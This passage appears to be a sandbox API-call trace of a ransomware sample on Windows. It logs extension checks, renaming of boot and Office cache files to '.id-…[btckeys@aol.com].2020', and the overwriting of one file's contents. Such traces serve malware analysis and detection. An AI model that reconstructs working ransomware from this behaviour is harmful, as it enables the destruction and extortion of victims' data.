(lpString=".docx") returned 5 [0061.045] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.045] lstrlenW (lpString=".pdf") returned 4 [0061.045] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.046] lstrlenW (lpString=".xls") returned 4 [0061.046] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.046] lstrlenW (lpString=".xlsx") returned 5 [0061.046] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.046] lstrlenW (lpString=".ppt") returned 4 [0061.046] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.046] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.046] lstrlenW (lpString=".zip") returned 4 [0061.046] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.046] lstrlenW (lpString=".rar") returned 4 [0061.046] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.046] lstrlenW (lpString=".bz2") returned 4 [0061.046] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.046] lstrlenW (lpString=".7z") returned 3 [0061.046] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.046] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.046] lstrlenW (lpString=".dbf") returned 4 [0061.046] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.046] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.046] lstrlenW (lpString=".1cd") returned 4 [0061.046] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.046] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.046] lstrlenW (lpString=".jpg") returned 4 [0061.046] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.046] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.046] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.046] lstrlenW (lpString=".doc") returned 4 [0061.046] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.046] lstrlenW (lpString=".docx") returned 5 [0061.047] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.047] lstrlenW (lpString=".pdf") returned 4 [0061.047] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.047] lstrlenW (lpString=".xls") returned 4 [0061.047] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.047] lstrlenW (lpString=".xlsx") returned 5 [0061.047] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.047] lstrlenW (lpString=".ppt") returned 4 [0061.047] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.047] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.047] lstrlenW (lpString=".zip") returned 4 [0061.047] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.047] lstrlenW (lpString=".rar") returned 4 [0061.047] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.047] lstrlenW (lpString=".bz2") returned 4 [0061.047] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.047] lstrlenW (lpString=".7z") returned 3 [0061.047] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.047] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.047] lstrlenW (lpString=".dbf") returned 4 [0061.047] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.047] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.047] lstrlenW (lpString=".1cd") returned 4 [0061.047] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.047] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.047] lstrlenW (lpString=".jpg") returned 4 [0061.047] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.048] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.048] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.048] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.048] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=90192) returned 1 [0061.048] CloseHandle (hObject=0x168) returned 1 [0061.048] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0061.048] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.048] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.048] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0061.048] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0061.048] lstrlenW (lpString=".doc") returned 4 [0061.048] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.049] lstrlenW (lpString=".docx") returned 5 [0061.049] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.049] lstrlenW (lpString=".pdf") returned 4 [0061.049] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.049] lstrlenW (lpString=".xls") returned 4 [0061.049] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.049] lstrlenW (lpString=".xlsx") returned 5 [0061.049] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.049] lstrlenW (lpString=".ppt") returned 4 [0061.049] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.049] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0061.049] lstrlenW (lpString=".zip") returned 4 [0061.049] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.049] lstrlenW (lpString=".rar") returned 4 [0061.049] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.049] lstrlenW (lpString=".bz2") returned 4 [0061.049] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.049] lstrlenW (lpString=".7z") returned 3 [0061.049] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.052] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=89152) returned 1 [0061.052] CloseHandle (hObject=0x168) returned 1 [0061.052] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0061.052] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.052] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.052] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=3694080) returned 1 [0061.052] CloseHandle (hObject=0x168) returned 1 [0061.053] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0061.053] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.053] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[btckeys@aol.com].2020")) returned 0 [0061.055] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=3876772) returned 1 [0061.056] CloseHandle (hObject=0x168) returned 1 [0061.056] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0061.056] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.056] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[btckeys@aol.com].2020")) returned 0 [0061.056] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1984228) returned 1 [0061.056] CloseHandle (hObject=0x168) returned 1 [0061.056] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0061.056] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.057] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[btckeys@aol.com].2020")) returned 0 [0061.057] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2371360) returned 1 [0061.057] CloseHandle (hObject=0x168) returned 1 [0061.057] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0061.057] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.057] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[btckeys@aol.com].2020")) returned 0 [0061.058] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=47452) returned 1 [0061.058] CloseHandle (hObject=0x168) returned 1 [0061.058] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0061.058] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.058] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.058] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=93248) returned 1 [0061.058] CloseHandle (hObject=0x168) returned 1 [0061.058] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0061.058] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.059] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.059] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=90688) returned 1 [0061.059] CloseHandle (hObject=0x168) returned 1 [0061.059] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0061.059] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.059] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.060] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=90704) returned 1 [0061.060] CloseHandle (hObject=0x168) returned 1 [0061.060] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0061.060] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.060] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.060] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=76352) returned 1 [0061.060] CloseHandle (hObject=0x168) returned 1 [0061.060] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0061.060] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.061] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.061] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=75344) returned 1 [0061.061] CloseHandle (hObject=0x168) returned 1 [0061.061] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0061.061] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.061] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.324] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=485760) returned 1 [0062.329] CloseHandle (hObject=0x164) returned 1 [0062.329] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0062.329] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.329] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.678] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0062.679] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0062.679] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0062.679] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.679] ReadFile (in: hFile=0x184, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.688] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.688] ReadFile (in: hFile=0x184, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.700] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.700] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.700] ReadFile (in: hFile=0x184, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.022] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.022] WriteFile (in: hFile=0x184, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0063.116] SetEndOfFile (hFile=0x184) returned 1 [0063.116] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f738e0 [0063.119] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.120] WriteFile (in: hFile=0x184, lpBuffer=0x3f738e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f738e0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.121] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.121] WriteFile (in: hFile=0x184, lpBuffer=0x3f738e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f738e0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.122] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.122] WriteFile (in: hFile=0x184, lpBuffer=0x3f738e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f738e0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.124] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f738e0 | out: hHeap=0x4b0000) returned 1 [0063.124] CloseHandle (hObject=0x184) returned 1 [0067.187] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0067.187] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.187] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.187] lstrlenW (lpString=".doc") returned 4 [0067.187] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0067.188] lstrlenW (lpString=".docx") returned 5 [0067.188] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0067.188] lstrlenW (lpString=".pdf") returned 4 [0067.188] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0067.188] lstrlenW (lpString=".xls") returned 4 [0067.188] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0067.188] lstrlenW (lpString=".xlsx") returned 5 [0067.188] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0067.188] lstrlenW (lpString=".ppt") returned 4 [0067.188] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0067.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.188] lstrlenW (lpString=".zip") returned 4 [0067.188] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0067.188] lstrlenW (lpString=".rar") returned 4 [0067.188] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0067.188] lstrlenW (lpString=".bz2") returned 4 [0067.188] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0067.188] lstrlenW (lpString=".7z") returned 3 [0067.188] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0067.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.188] lstrlenW (lpString=".dbf") returned 4 [0067.188] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0067.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.188] lstrlenW (lpString=".1cd") returned 4 [0067.188] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0067.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.188] lstrlenW (lpString=".jpg") returned 4 [0067.189] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0067.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.189] lstrlenW (lpString=".doc") returned 4 [0067.189] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0067.189] lstrlenW (lpString=".docx") returned 5 [0067.189] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0067.189] lstrlenW (lpString=".pdf") returned 4 [0067.189] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0067.189] lstrlenW (lpString=".xls") returned 4 [0067.189] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0067.189] lstrlenW (lpString=".xlsx") returned 5 [0067.189] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0067.189] lstrlenW (lpString=".ppt") returned 4 [0067.189] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0067.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.189] lstrlenW (lpString=".zip") returned 4 [0067.189] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0067.189] lstrlenW (lpString=".rar") returned 4 [0067.189] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0067.189] lstrlenW (lpString=".bz2") returned 4 [0067.189] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0067.189] lstrlenW (lpString=".7z") returned 3 [0067.189] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0067.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.189] lstrlenW (lpString=".dbf") returned 4 [0067.189] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0067.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.190] lstrlenW (lpString=".1cd") returned 4 [0067.190] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0067.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0067.190] lstrlenW (lpString=".jpg") returned 4 [0067.190] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0067.190] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0067.190] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0067.190] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all 